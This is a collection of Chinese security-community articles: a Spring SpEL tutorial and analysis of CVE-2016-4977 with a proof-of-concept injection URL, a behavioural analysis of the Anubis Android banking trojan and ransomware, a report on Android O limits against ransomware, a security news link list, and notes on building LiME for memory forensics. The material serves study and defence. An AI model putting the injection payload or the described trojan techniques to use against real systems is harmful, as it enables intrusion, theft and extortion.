this.userName = userName;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String sayHi(String name){
return name+" say: Hi";
}
public static String sayBye(String userName){
return userName+"say: Bye";
}
}
然后是通过SPEL表达式操作user对象的属性
User user = new User();
//实例化表达式解析对象
ExpressionParser parser = new SPELExpressionParser();
//实例化上下文，将user对象作为参数传入，这样就可以操作user对象的属性了
StandardEvaluationContext context = new StandardEvaluationContext(user);
/**
如果不想在实例化上下文的时候就传入对象的话就可以使用下面的代码进行等价替换
StandardEvaluationContext context = new StandardEvaluationContext();
context.setRootObject(user);
之所以可以这么替换是因为StandardEvaluationContext在构造方法中还是通过调用了setRootObject方法
通过setRootObject方法传入的参数会被放入StandardEvaluationContext.rootObject属性中
*/
//向上下文中添加元素
context.setVariable("newUserName","Jone");
//这里的userName就是user.userName属性，#newUserName就是上一步中添加的，newUserName为key，而value为Jone，所以这一步是将newUserName的值赋值给user.userName属性
parser.parseExpression("userName=#newUserName").getValue(context);
System.out.println(user.getUserName());
//这一步是通过SPEL表达式直接给user.userName属性赋值
parser.parseExpression("userName='Tom'").getValue(context);
System.out.println(user.getUserName());
//通过setVariable传入上下文中的参数会被放入StandardEvaluationContext.variables属性中，该属性为HashMap类型，传入的字符串“user”，就是他的key值，value就是user这个对象
context.setVariable("user",user);
//通过setVariable方法存放入上下文中的对象，就可以通过 #+key+属性的方式进行调用
String name = (String)parser.parseExpression("#user.userName").getValue(context);
//通过setVariable方法传入的对象和通过setRootObject方法传入的对象是不一样的，通过setRootObject传入的对象可以直接通过“属性名称”来进行调用，而通过setVariable方法传入的对象，只能通过“#+key+属性的方式进行调用”
可以操作对象的属性SPEL同样也可以操作对象的方法，例如我们的pojo类User中就有一个成员方法sayHi，和一个静态方法sayBye，我们使用SPEL表达式来分别调用一下
首先是调用成员方法，也就是动态方法
User user = new User();
ExpressionParser parser = new SPELExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext(user);
context.setVariable("user",user);
//如下可以使用 #+Key+MethodName的形式进行调用
//这种方法不仅可以调用动态方法，也可以调用静态方法
String result = (String) parser.parseExpression("#user.sayHi('jack')").getValue(context);
System.out.println(result);
运行结果如下
然后是调用静态方法，代码如下所示
ExpressionParser parser = new SPELExpressionParser();
//使用“T(Type)”来表示java.lang.Class类的实例，即如同java代码中直接写类名。此方法一般用来引用常量或静态方法
String result = parser.parseExpression("T(com.SPEL.pojo.User).sayBye('Jack')").getValue(String.class);
System.out.println(result);
除了以上两种方可以调用静态方法以外还有一种方法
ExpressionParser parser = new SPELExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
//通过反射拿到User类的sayBye方法对象，
Method sayBye = User.class.getMethod("sayBye", String.class);
//将sayBye方法对象注册进上下文中
context.registerFunction("sayBye",sayBye);
//然后就可以通过#+MehtondName的形式进行调用
String result = (String) parser.parseExpression("#sayBye('jack')").getValue(context);
System.out.println(result);
## 3.CVE-2016-4977 漏洞分析
根据网上爆出得漏洞相关信息，POC如下所示
http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
目前我们对漏洞的详细情况一无所知，首先我们根据请求路径的映射，找到后来用来接收该请求的方法，经过一番搜索我门找到了“/oauth/authorize”这个路径映射的是AuthorizationEndpoint.authorize方法。
我们在该方法中打上断点，然后发送poc即可看到程序执行到断点处，这里有一个需要注意的值，就是errorPage这个属性的值，其值为“forward:/oauth/error”，这个值后续会使用到。
程序往下执行，来到一个if判断，这里判断的值就是我们poc中传递的response_type值，这里主要判断response_type的值是不是“token”或者“code”，很明显不是，这里传递的response_type的值是“${3*10}”，所以会抛出一个“Unsupported
response types”，也就是“不支持的返回类型错误”。
然后就是一系列的异常操作，没什么特别值得讲的，接下来我们的断点下在DispatherServlet.processDispatchResult方法里，由于之前在AuthorizationEndpoint.authorize方法中执行出现了异常，所以Spring
Security会返回一个认证错误的执行页面，而跳转的方式和地址就是我们刚才看到的errorPage这个属性的值，也就是“forward:/oauth/error”，这里指定了跳转方式，和跳转的路径，跳转方式为“forward”，也就是服务器内部跳转，而跳转的路径就是“/oauth/error”，后续的执行就是Spring
Security在内部。最终发起转发的位置在哪呢？在InternalResourceView.renderMergedOutputModel方法中，
可以看到真正出发服务器内部转发的代码是最后一行的`rd.forward(request,
response);`，rd变量是一个ApplicationDispatcher对象，ApplicationDispatcher.forward方法的作用就是处理服务器内部的请求转发，而需要请求的路径"/oauth/error"
在执行getRequestDispatcher方法中传入了进去
并最终返回一个ApplicationDispatcher对象，然后调用了ApplicationDispatcher.forward方法进行服务器内部请求转发，这个转发的过程就不做过多赘述了，不是我们研究的重点。
现在我们已知转发的路径为"/oauth/error"，那我们就去搜索这个路径，经过搜索找到的该路径对应的方法，为WhitelabelErrorEndpoint.handleError方法。
这里我们需要留意的就是这个error变量，可以看到就是之前在AuthorizationEndpoint.authorize方法中抛出的Unsupportedresponsetypes异常，其中有一个detailMessage属性，其中封装的是一段字符串，而该段字符串中的${3*10}就是SPEL表达式，也是我们在poc中传递的response_type的值，而ERROR中的${error.summary}同样也是SPEL表达式，而ERROR属性则被传入了SPELVIew的构造方法中，进而生成了一个SPELView对象，该类从类型来分析很明显是用于处理SPEL表达式的，我们跟进该类。
SPELVIew在构造方法中实例化了一个匿名内部类对象并赋值给了resolver属性，这个对象就是SPEL代码执行的核心.为什么说这个PlaceholderResolver.resolvePlaceholder方法是核心关键就在于用红圈圈里来的这段代码。即`Expression
expression = parser.parseExpression(name);`
这段代码的作用就是解析和执行SPEL表达式，至于parser属性是什么类型也可以截图看一下，从截图中看到是SPELExpressionParser类型。
在该处下断点，看下执行结果
这里看到parser属性是SPELExpressionParser类型，结合之前的SPEL使用介绍，可知这里就是要解析SPEL表达式了，而传入的name变量就是要解析的SPEL表达式，这个SPEL表达式就是“error.summary”，那么这个error是什么呢？在WhitelabelErrorEndpoint.handleError方法中，可以看到error就是封装进去的UnSupportedResponseTypesExpection对象，而UnSupportedResponseTypesExpection的父类OAuth2Exception有一个名为getSummary的方法，而在之前的截图中看到在SPELView.render方法中，调用了StandardEvaluationContext.setRootObject，传入的参数是一个Hashmap对象,
当map对象像以setRootObject方法传入SPEL上下文中的时候，就可以以key.valueProperty/valueMethod的形式进行反射调用，也就是反射调用属性或者调用对应的getter方法，注意这里能通过反射调用的方法只有getter方法，测试代码如下所示
public class ErrorImpl {
public String summary = "hello world1";
public String getSummary() {
return "hello world";
}
// public String setSummary() {
//// this.summary = summary;
// return "hello world3";
// }
public String sayHello(){
return "say world";
}
}
public class SPELTest2 {
public static void main(String[] args) {
ExpressionParser parser = new SPELExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
ErrorImpl error = new ErrorImpl();
Map<String, Object> model = new HashMap<String, Object>();
model.put("error", error);
context.setRootObject(model);
context.addPropertyAccessor(new MapAccessor());
Expression expression = parser.parseExpression("error.summary");
Object value = expression.getValue(context);
System.out.println(value.toString());
}
}
所以解析“error.summary”这个SPEL表达式最终就会调用到OAuth2Exception.getSummary方法，最终得到的值如下所示
最终的到的value是一串字符串，而在这段字符串中，属于SPEL表达式的是“${3*10}”，如此以来就到达了代码执行的位置，执行结果如下图所示
最终执行的结果会返回至前端页面，至此spring-security-oauth2 SPEL表达式注入漏洞分析完毕
## 4.总结
其实经过以上分析，大家不难发现，可以执行代码和对类进行操作是SPEL表达式模块所提供的正常功能，但是问题出在哪呢？就出在了Spring-oauth2这个模块对response_type这个参数校验的不严格，在后续的操作中，仅仅只是将外部的“$"符号和“{}”进行了删除，除此以外就没有进行任何有效的过滤了，所以，表达式注入漏洞就产生了。
* * * | 社区文章 |
作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/XbAWPGMWCWG831lQfJXuGg "启明星辰ADLab")
### 一、简述
启明星辰ADLab近期发现一款集勒索加密病毒、间谍软件、银行木马于一体的新型Android恶意代码,其实现了如加密勒索（Ransomware）、键盘记录（keylogger）、远程访问木马（RAT）、短信拦截、呼叫转移和锁定屏幕等多种功能。
详细分析该恶意代码后发现，该恶意代码新变种可劫持几乎涵盖全世界各大金融机构的手机APP，总数有300多个，涉及中国、美国、英国、日本、中国香港、法国等40多个国家和地区。该恶意代码还具有勒索软件的功能，会使用256位对称密钥对受害用户的手机文件进行加密处理，并且以“.AnubisCrypt”作为加密文件的扩展名，同时还伪造了FBI警告界面通知受害用户以比特币的方式支付罚金方可对文件进行解密。另外，它还能够被用于进行网络间谍活动，例如：监视受感染设备主窗口活动、进行屏幕截图并发送给攻击者、使用内置麦克风监听受感染设备周围环境中的声音等等。
### 二、恶意代码发现
2018年8月底，启明星辰ADLab监测到一个当月新注册的异常Twitter账户，该账户在Twitter上发布了一些类似用base64编码的推文。其2018年8月27日发布了两条似乎完全相同的推文，并且在我们发现当天，又连续发布两条不同的推文（见图1）。
图1 可疑Twitter账户推文
我们通过base64解码这些推文后，仍然看不到任何有意义的数据。因此，我们通过该Twitter链接“<https://twitter.com/sHybzhzZWJgdbdj>”来做关联分析，并且发现了一些可疑的apk文件，通过分析确认该apk文件为Android平台下一款危害性极大的恶意APP，并且目前还处于活跃状态。通过深入分析我们发现，该恶意APP会连接该Twitter链接“<https://twitter.com/sHybzhzZWJgdbdj>”获取推文，并将其解密成为C&C地址，其解密算法模拟了base64的效果，但并非为base64算法，以此迷惑发现异常推文的分析人员。解密后的字符串如表1所示：
表1 推文的解密
一直到9月2日，黑客删除了其中的3条推文，只留下最近的一条推文（见图2）。说明利用该恶意代码进行的网络攻击活动正在进行。
图2 攻击者的推文只剩下一条C&C
我们注意到，该Twitter账户使用了被称为“全世界最大的骗子”的俄罗斯金融诈骗犯Sergei Mavrodi的照片作为图像，推测攻击者很可能是Sergei
Mavrodi的粉丝。Sergei Mavrodi（1955年8月11日-2018年3月26日）生于莫斯科，1989年成立了MMM公司，MMM宣称以摧毁世界不公正的金融体系为目标，实际上是玩了一个“大众集资”的庞氏骗局游戏。国内的e租宝、钱宝网等也都被认定是庞氏骗局。在Sergei
Mavrodi和其MMM公司将俄罗斯几乎能骗的人都骗完了之后，2015年Sergei Mavrodi将他的游戏带入了中国，并且为了躲避监管，Sergei
Mavrodi团队“创新地”将比特币支付引入了其支付系统，鼓励投资者使用比特币进行转账交易，并为此特意制作了比特币扫盲视频，见图3。
图3 Sergei Mavrodi团队制作的比特币扫盲视频
### 三、样本演化
根据样本关联分析，我们发现该恶意代码样本为Anubis的一个新变种。
2017年1月，安全公司Dr.Web曾发出警告，银行木马BankBot的源代码被公开发布在了一个论坛上。随后，有网络犯罪分子利用该源码创建了安卓银行木马Android.BankBot.149.origin，彼时的BankBot还仅是一个典型的银行木马，能够利用网络钓鱼对话框窃取感染用户手机银行的敏感信息，如银行详细信息和信用卡数据。
2018年3月5日，PhishLabs发现了银行木马BankBot的一个新变种，并第一次将其命名为Anubis，Anubis同样基于BankBot源码开发，并整合了众多不同类型恶意软件的功能于一身。
2018年7月，IBM X-Force的移动恶意软件研究人员观察到了大量的Android恶意软件下载器被上传到了Google
Play。这些恶意软件下载器会在受感染设备上安装Anubis。这表明一个特定的恶意软件分销商已经从使用Marcher转向了分发Anubis。
### 四、功能介绍
Anubis新变种整合了多种类型恶意软件功能于一身，图4是其功能示意图，该变种包含勒索软件功能、键盘记录功能、RAT功能、短信拦截功能和呼叫转移功能等。同时，Anubis还可以窃取受害用户的通讯录、短信等敏感信息。此外，攻击者还可以远程控制受感染设备，利用受感染设备向攻击者指定的目标发送特定短信。不难想象，攻击者完全可以对受害者的社交网络进行全方位渗透和欺诈。
图4 Anubis功能示意图
图5是我们抓取到的该恶意代码变种和C&C服务器通信的数据包，从图中可以看出，该变种使用http协议和C&C服务器进行通信，通信数据被加密处理后进行传输。我们利用分析出的解密算法对图中加密数据进行解密，分别得到`“aa5193bdfeb39625:(CHINA
MOBILE):4.4.4:cn::AOSP on HammerHead
(aosp_hammerhead):V::0:0:”和“|OK|”`，很显然是一个木马上线包。
图5 C&C上线包
C&C命令和其附加数据采用同样的加密方案传输，我们将该恶意代码变种包含的主要C&C命令及其含义归纳到了表2：
表2 主要的C&C命令和功能
### 五、典型行为分析
#### 5.1、窃取受害者银行账户凭证
Anubis监视目标应用程序启动，然后使用对应的钓鱼屏幕覆盖掉合法的应用程序以窃取受害者的账户凭证（见图6和图7），同时会利用短信拦截功能来拦截银行发送给受害者的所有短信（见图8），这样攻击者就绕过了银行的双层身份认证，成功对受害者的财产进行洗劫。
图6 加载钓鱼页面的代码
Anubis伪造的钓鱼页面：
图7 伪造的钓鱼页面
恶意代码将自身设置成默认短信应用，拦截用户短信：
图8 拦截用户短信
攻击者的劫持目标几乎涵盖全世界各大金融机构的手机APP，总数达到了300多个，涉及中国、美国、英国、日本、中国香港、法国等40多个国家和地区，部分目标金融APP的包名见表3：
表3 部分目标金融APP
#### 5.2、加密受感染设备文件，对受害者进行勒索
不同于常见的只是简单禁止受害者访问手机界面的锁定屏幕的勒索软件，Anubis对受害用户的文件进行了加密，加密的目录包括“/mnt”、“/mount”、“/sdcard”、“/storage”以及用户的内在存储卡目录，见图9。
图9 加密的文件目录
Anubis的模块使用256位对称密钥对文件进行加密处理，并以“.AnubisCrypt”作为加密文件的扩展名，见图10。
图10 加密操作
在完成文件加密后，Anubis会加载其锁定页面（图11），提示受害用户的手机已经被锁定并且文件被加密，需要受害用户支付比特币方可对文件进行解密。
图11 加载锁定页面
锁定页面htmllocker是从远程服务器动态获取到的并保存在其配置文件set.xml中，如图12，我们可以看到FBI
WARNING的勒索信息：告知受害用户的手机被锁定，并且所有的文件被加密，用户的数据将会被传送到FBI，除非受害用户支付罚金方可解密。
图12 配置文件中的锁定页面代码
图13是htmllocker代码加载后的页面，该页面做的相当逼真，在“FBI WARNING”文字上方是“FBI”的LOGO
，下方即是图12配置文件中的那一段勒索信息。
图13 锁定页面
#### 5.3、利用设备拨号应用执行USSD命令
USSD为GSM系统所使用的一种通讯协议，用户可以通过手机拨号程序输入特定的指令取得系统服务商提供的服务，比如查询预付卡余额等，也可以用于查询手机内部信息，如`“*#06#”`可以查询手机的IMEI码。也有部分手机厂商使用自定义的USSD指令对手机做特殊的设定或操作，例如将手机恢复为出厂设置，开启手机的工程模式等。
该变种利用受感染设备的拨号程序来执行远程服务器传来的指令，从图14中我们可以看到，攻击者首先打开拨号程序，然后输入从C&C获取到的恶意指令，不同的指令对应不同的功能。不排除攻击者对受感染设备恢复出厂模式或者恶意格式化受感染设备存储卡等可能性。
图14 利用设备拨号应用执行USSD命令
#### 5.4、设置呼叫转接
设置受感染设备的呼叫转接号码为攻击者远程指定的手机号码（见图15）。攻击者首先打开受感染设备的拨号程序，然后通过输入“ _21_
手机号码#”对受感染设备设置呼叫转接。这样，攻击者就可以成功拦截受害用户的手机来电，并且可以利用此功能对受害用户进行欺诈。
图15 设置呼叫转接
### 六、建议
建议用户不要轻易点击短信中的不明链接，不要安装不明来源的APP。对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的APP要特别留意，涉及到金钱的操作要格外谨慎。遇到操作异常，应当及时使用杀毒软件查杀或找专人处理。目前互联网上也充斥着形形色色的第三方APP下载站点，很多甚至成了恶意应用的批发集散地。用户应特别留意不应轻易的在一些下载站点下载APP，尽量从官网下载所需APP应用，在不得不从第三方下载站点下载软件时，要高度保持警惕，认真甄别，防止误下恶意应用，给自己造成不必要的麻烦和损失。
### 参考链接：
<https://securityintelligence.com/anubis-strikes-again-mobile-malware-continues-to-plague-users-in-official-app-stores/>
<https://blogs.quickheal.com/android-malware-combines-banking-trojan-keylogger-ransomware-one-package/>
* * * | 社区文章 |
# 【安全报告】Android O限制系统全屏进一步遏制手机勒索
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**引言**
近期谷歌发布了最新手机操作系统Android O的开发者预览版，一如往常，Android
O又带来了多项新功能与优化升级，其中一项有关系统窗口管理的优化给Android手机勒索软件带来了严重冲击。
**简述Android系统与勒索软件对抗史**
手机勒索软件是一种特殊的恶意软件，其通常将自身伪装为看似无害的软件或是利用社会工程学诱导受害者下载安装，随后通过恶意利用操作系统正常功能或者缺陷强制锁住用户桌面使得用户无法正常使用设备，并几乎都会要求受害者缴纳赎金以解锁设备。手机勒索的解锁费用通常为20、30或50元不等，通常情况下当用户设备感染勒索软件后，出于设备被锁定的焦急心理与不高的赎金金额，用户一般都会通过勒索软件锁屏界面提供的联系方式联系制马人以尝试解锁设备，因此这种“薄利多销”且制作成本低廉的点对点式直接性敲诈软件颇受制马人的青睐。此外，这类软件通常具有很高的可变性，制马人只需简单调整软件代码或锁屏样式便可生成新的勒索软件。360烽火实验室一直密切关注国内外手机勒索软件动向，先后发布了多篇对手机勒索软件的研究成果。
纵观Android系统尤其是高版本系统史，每一版都在遏制勒索软件方面做出了积极的应对：
**Android L（Android 5.0-5.1）**
在早期Android版本中，通过getRunningTasks 方法可获取当前运行栈顶程序，但自Android
5.0起该方法被弃用，同时getRunningAppProcesses与getAppTasks方法的使用也受到了限制，由此抑制了劫持Activity类勒索软件的出现。
**Android M（Android 6.0）**
大部分手机勒索软件的惯用伎俩是通过SYSTEM_ALERT_WINDOW权限来打开特定系统类型窗口并将其显示在所有其他应用程序和窗口之上，以此达到锁定用户设备的目的。Android
M的出现使得勒索软件制马人在实施手机勒索时遇到了一大瓶颈——动态权限申请，由于自Android
M起，SYSTEM_ALERT_WINDOW开始被列为一种危险程度较高的权限而被特殊处理——即需要用户动态授权。这一改变意味着只要勒索软件的目标系统为Android
M，其就不能如往常一样在用户毫无防备的情况下锁定用户设备，而是必然有一个用户授权阶段，这对勒索软件的发展起到了一定程度的阻碍作用。
**Android N（Android 7.0-7.1）**
与之前版本可任意设置或重置锁屏密码不同的是，Android
N中明确规定，第三方应用开发者只能使用DevicePolicyManager.resetPassword为无密码设备设置初始密码，而不能重置或清除已有的设备密码。Android
N中对于resetPassword API所添加的限制能阻止木马对已有锁屏密码的重置，从而使得部分勒索软件失效。
以上改进从Android系统角度有效遏制了勒索软件发展，然而勒索技术也在不断升级，这些变化并彻底根除勒索软件，在利益诱惑之下，制马人仍会不遗余力地在勒索软件上继续寻求新的可趁之机。
**Android O进一步遏制勒索软件**
**现状与原理**
根据360烽火实验室的统计，截止到2017年5月初共捕获到勒索软件超过55万个，其中系统窗口置顶类勒索软件占比高达81.5%，远高于锁屏密码修改、系统文件篡改等其他类型勒索软件。这种悬殊的差距很大程度上源于，篡改锁屏幕密码或系统文件分别需要用户动态授权设备管理器或root权限，一旦用户拒绝授权，进一步的勒索行为将无法实施；而窗口置顶类勒索软件无需用户任何授权即可锁定设备，相比前者锁屏成功的几率要大得多。
（数据说明：81.5%包含了既有系统窗口置顶又存在锁屏密码修改等其他勒索技术的多重手机勒索软件）
Android
O预览版一经发布就给了勒索软件致命打击，新系统禁用了5种窗口。如下图所示，其中包括3种勒索软件常用的系统窗口类型，窗口置顶类勒索木马“赖以生存”的系统窗口类型被限制使用了。
在Android
O之前版本中，勒索软件通过调用特定系统窗口类型将自身窗口完全覆盖在第三方应用程序与其他系统窗口之上，用户无法响应其他窗口，由此设备被锁定；但在Android
O中，这几种具有置顶权限的系统窗口类型被弃用，勒索软件制作者找不到其他能完全覆盖第三方应用程序与其他系统窗口的窗口类型，窗口置顶类锁屏将无法实施。
**不同版本窗口置顶类勒索软件运行效果**
在Android
6.0之前，使用系统类窗口进行手机勒索十分简单，只需要在AndroidManifest清单文件中申请SYSTEM_ALERT_WINDOW权限即可使用TYPE_SYSTEM_ALERT、TYPE_SYSTEM_ERROR等高级别窗口，用户开启手机勒索软件后无需额外操作甚至来不及做出反应，系统窗口就已置顶，手机即刻被锁定。
自Android 6.0起至Android
7.1，Android系统开启动态权限模型，SYSTEM_ALERT_WINDOW权限开始被列为一项特殊权，尽管其权限级别（Signature）不是Dangerous，但开发者在使用之前也必须动态获得用户授权，只有在用户进行授权后，应用才可以随意使用TYPE_SYSTEM_ALERT、TYPE_SYSTEM_OVERLAY、TYPE_SYSTEM_ERROR等高级别窗口。在这一阶段，用户通过一项Action——MANAGE_OVERLAY_PERMISSION打开设置“在其他应用的上层显示”页面，如下图所示，用户手动允许后，系统高级别窗口权限开放，此时即可成功使用这些窗口进行手机勒索。
SYSTEM_ALERT_WINDOW动态授权完成后，将窗口类型设置为TYPE_SYSTEM_ERROR得到的锁屏效果如下——上拉菜单、屏幕下方菜单键无效，无任何方式退出窗口，手机被强制锁定：
在最新的Android
8.0中，SYSTEM_ALERT_WINDOW权限的使用进一步受限，对于第三方应用程序而言，该权限保护下的TYPE_SYSTEM_ALERT、TYPE_SYSTEM_OVERLAY、TYPE_SYSTEM_ERROR等几类勒索软件常用窗口完全被禁用。即使获得了用户动态授权，使用这几种窗口也会触发窗口类型错误：
取而代之，为了解决窗口置顶需求，Google引进了一种新窗口类型
TYPE_APPLICATION_OVERLAY，这类型窗口将覆盖其他第三方应用的窗口，但却始终位于系统状态栏与输入法窗口之下，如下图，用户可以下拉状态栏并关闭该置顶窗口：
图8 TYPE_APPLICATION_OVERLAY窗口置顶后仍可操作状态栏
为了保障Android 8.0的向前兼容性，安装了Android
8.0的设备也能正常运行使用了TYPE_SYSTEM_ALERT等被禁窗口的应用程序，但同TYPE_APPLICATION_OVERLAY窗口一样，被禁窗口也可通过下拉状态栏的TURN
OFF选项关闭，故使用旧版本SDK开发的窗口手机勒索软件在Android 8.0中同样会失效。
需要注意的是，虽说自Android M到Android O一直加强系统类窗口的使用限制，但当病毒作者将目标勒索软件仍旧锁定在Android
M之前版本，这种限制作用将大大降低。而从目前各版本Android操作系统的分布情况来看，高达61.7%的设备仍旧使用Android
M以下系统版本，这也就说明绝大多数用户设备仍面临着勒索软件带来的高危风险，由此看来，Android高版本操作系统的普及力度亟待加强。
（图片来源：https://developer.android.com/about/dashboards/index.html）
随着Android
O的逐步推广普及，利用系统类型窗口作恶的勒索软件将难以存活，但是其它形式的勒索软件却未受其影响，所以对于勒索软件的监控以及防范仍不能松懈。
Android的开放为其快速发展提供了更多可能性，同时势必会带来更多的安全问题，不过，随着Google对手机操作系统的持续改善，现存的诸多安全问题不断得到解决，再加上安全厂商对Android设备及软件的大力护航，开发者的开发环境与用户的用机环境必将更加安全同时更加丰富多彩。
**安全建议**
**1\. 可信软件源**
建议用户在选择应用下载途径时，应该尽量选择大型可信站点，如360手机助手、各软件官网等。
**2\. 安装安全软件**
建议用户手机中安装安全软件，实时监控手机安装的软件，如360手机卫士。
**3\. 数据备份**
建议用户日常定期备份手机中的重要数据，比如通讯录、照片、视频等，避免手机一旦中毒，给用户带来的巨大损失。
**4\. 系统更新**
新版系统通常包含了对老版系统漏洞的修补与功能的优化，保持设备更新到最新系统有利于及时享用最新安全策略，提高设备安全性。
**5\. 拒绝诱惑**
建议用户不要心存侥幸，被那些所谓的能够“外挂”、“刷钻”、“破解”软件诱惑，这类软件绝大部分都是假的，没有任何功能，只是为了吸引用户中招。
**6\. 正确的解决途径**
一旦用户不幸中招，建议用户不要支付给敲诈者任何费用，避免助涨敲诈者的嚣张气焰。用户可以求助于专业的安全人员或者厂商。
**360烽火实验室**
360烽火实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究。作为全球顶级移动安全生态研究实验室，360烽火实验室在全球范围内首发了多篇具备国际影响力的Android木马分析报告和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 【知识】11月15日 - 每日安全知识热点
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：一加手机被发现“疑似后门”的app、 微软的补丁修复日修复了53个安全问题、利用雅虎的小型商业平台的目录遍历漏洞可查看客户信用卡信息
**、卡巴斯基发布2017 Q3的APT活动趋势** 、Linux rootkit for Ubuntu 16.04 and 10.04、D-Link
DIR-850L未认证的命令执行、Google Play上又发现安卓木马**
**
**
**资讯类：**
一加手机被发现“疑似后门”的app
（twitter网友发现一加手机2,3,5预装了叫作 **EngineeringMode** 中文版名为“ **工程模式**
”疑似为一加留下的后门，随后发现其他高通手机也有这个预装app，高通没有发表评论，随后一加在官方论坛回应称这个app“不是严重的问题”，但为了避免用户的担心，会在下次一加OTA升级中移除这个app）
<https://thehackernews.com/2017/11/oneplus-root-exploit.html>
<https://www.nowsecure.com/blog/2017/11/14/oneplus-device-root-exploit-backdoor-engineermode-app-diagnostics-mode/>
<https://www.wired.com/story/oneplus-phones-have-an-unfortunate-backdoor-built-in/>
<https://www.androidcentral.com/oneplus-backdoor-what-it-what-it-isnt-and-what-you-need-know>
<https://forums.oneplus.net/threads/what-is-engineermode.680377/>
微软的补丁修复日修复了53个安全问题
<https://www.bleepingcomputer.com/news/microsoft/microsoft-november-patch-tuesday-fixes-53-security-issues/>
对Adobe和微软漏洞补丁的回顾
<https://www.zerodayinitiative.com/blog/2017/11/14/the-november-2017-security-update-review>
思科talos团队对微软漏洞补丁的回顾
<http://blog.talosintelligence.com/2017/11/ms-tuesday.html>
卡巴斯基发布2017 Q3的APT活动趋势
<https://securelist.com/apt-trends-report-q3-2017/83162/>
Tor浏览器v7.0.10发布
<https://malwaretips.com/threads/tor-browser-v7-0-10-released.77263/>
**技术类：**
利用雅虎的小型商业平台的目录遍历漏洞可查看客户信用卡信息
<https://bugbountyforum.com/blog/security/exploiting-directory-traversal-on-yahoo/>
Linux rootkit for Ubuntu 16.04 and 10.04 (Linux Kernels 4.4.0 and 2.6.32)
<https://github.com/nurupo/rootkit>
利用CVE-2017-0199的恶意文件"Iranian Orrder inquiry.doc"和"Order from Iran and company
profile.doc"
<https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.fffyxb2c7ncs>
内存损坏漏洞：CVE-2017-11882：影响所有微软Windows版本的所有Office版本（32位和64位），不需要与用户进行交互
<https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about>
Formidable Forms SQL injection, stored XSS, RCE via iThemes Sync, etc.
<https://klikki.fi/adv/formidable.html>
Cr3dOv3r：a tool to test for credential re-use
<https://github.com/D4Vinci/Cr3dOv3r>
BSidesTO 2017 presentation Lee Kagan (@InvokeThreatGuy) 和Anton Ovrutsky
(@antonlovesdnb)的PPT
<https://github.com/invokethreatguy/BSidesTO2017>
CTF Write-up: LazySyadmin @ Vulnhub
<https://www.peerlyst.com/posts/ctf-write-up-lazysyadmin-vulnhub-ben-berkowitz>
D-Link DIR-850L未认证的命令执行
<https://cxsecurity.com/issue/WLB-2017110078>
Google Play上又发现安卓木马
<https://blog.malwarebytes.com/cybercrime/2017/11/new-trojan-malware-discovered-google-play/>
如何移除Emotet
<https://blog.minerva-labs.com/emotet-goes-more-evasive> | 社区文章 |
## 1 概述
近期遇到个使用CentOS 5.5的系统，生产环境没有GCC、GDB。要对这台机器抓取关键内存回去用volatility分析。
思路1：使用工具Dump某个进程的内存。使用cat /proc/[进程PID]maps抓出进程关键内存。
在github有相似的工程可以参考：<https://github.com/WangYinuo/MemDump>
但由于进程太多，这个方案被否定了。
思路2：使用受害系统同样版本的CentOS系统编译好LiME再去加载.ko模块抓取内存。
由于这个版本的yum源停止更新，所以只好使用安装盘自带的RPM包手动安装GCC，编译LiME，制作元数据用volatility分析。
光盘地址：<http://vault.centos.org/5.5/isos/x86_64/CentOS-5.5-x86_64-bin-DVD.torrent>
### 1.1 安装GCC
* 打开VMWare界面，选择菜单VM--Settings，在对话框中选择CDROM，设置参数为Use ISO image，选择CentOS镜像安装文件；
* 启动虚拟机中的CentOS系统，用root登录，在桌面上用鼠标右键新建一终端窗口；
* 在终端中输入 cd /media/CentOS_5.5_Final/CentOS 回车
[root@localhost malware]# cd /media/CentOS_5.5_Final/CentOS
[root@localhost CentOS]# rpm -ivh cpp-4.1.2-48.el5.x86_64.rpm
[root@localhost CentOS]# rpm -ivh kernel-headers-2.6.18-194.el5.x86_64.rpm
[root@localhost CentOS]# rpm -ivh libgomp-4.4.0-6.el5.x86_64.rpm
[root@localhost CentOS]# rpm -ivh glibc-headers-2.5-49.x86_64.rpm
[root@localhost CentOS]# rpm -ivh libgomp-4.4.0-6.el5.x86_64.rpm
[root@localhost CentOS]# rpm -ivh kernel-devel-2.6.18-194.el5.x86_64.rpm
[root@localhost CentOS]# rpm -ivh glibc-devel-2.5-49.x86_64.rpm
[root@localhost CentOS]# rpm -ivh gcc-4.1.2-48.el5.x86_64.rpm
### 1.2 编译LiME
[root@localhost CentOS]# tar -zxvf LiME.tar.gz
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/LiME/src/
[root@localhost src]# make
make -C /lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/LiME/src" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
Building modules, stage 2.
MODPOST
LD [M] /home/yunwei/Desktop/malware/LiME/src/lime.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
strip --strip-unneeded lime.ko
mv lime.ko lime-2.6.18-194.el5.ko
[root@localhost src]# ll
total 1176
-rw-r--r-- 1 root root 2557 Sep 28 2017 disk.c
-rw-r--r-- 1 root root 168240 May 20 10:44 disk.o
-rw-r--r-- 1 root root 41984 May 20 11:46 lime-2.6.18-194.el5.ko
-rw-r--r-- 1 root root 1920 Sep 28 2017 lime.h
-rw-r--r-- 1 root root 1151 May 20 10:44 lime.mod.c
-rw-r--r-- 1 root root 81632 May 20 10:44 lime.mod.o
